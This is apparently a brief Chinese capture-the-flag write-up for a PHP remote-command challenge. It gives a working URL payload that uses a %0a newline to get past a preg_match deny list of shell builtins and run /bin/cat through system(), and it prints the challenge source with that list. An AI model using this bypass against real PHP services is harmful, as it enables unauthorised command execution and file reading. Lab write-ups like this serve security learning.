但是过滤了一些内容: . | * 等。
加了一个%0a居然就绕过了??
并且还需要/bin/cat 不知道为什么???
http://4a4f1179-aff7-4ece-b4ec-e078856ff437.node4.buuoj.cn:81/?cmd={%0a "cmd":"/bin/cat ./index.php" %0a}
获得代码如下:
<?php putenv('PATH=/home/rceservice/jail'); if (isset($_REQUEST['cmd'])) { $json = $_REQUEST['cmd']; if (!is_string($json)) { echo 'Hacking attempt detected<br/><br/>'; } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) { echo 'Hacking attempt detected<br/><br/>'; } else { echo 'Attempting to run command:<br/>'; $cmd = json_decode($json, true)['cmd']; if ($cmd !== NULL) { system($cmd); } else { echo 'Invalid input'; } echo '<br/><br/>'; } } ?>
putenv('PATH=/home/rceservice/jail');
这里为了避免调用系统命令,就可以临时改环境变量
指定了一个环境变量,也就是cat这个命令是不能直接用的,因为环境变量临时被修改了,所以必须用/bin/cat才可以。
第二个就是preg_match()这个函数,它有个特性就是只对第一行正则匹配,可以利用这个特性绕过
%0A是换行符。
58、60都是用换行符%0A来绕过 preg_match()的!!!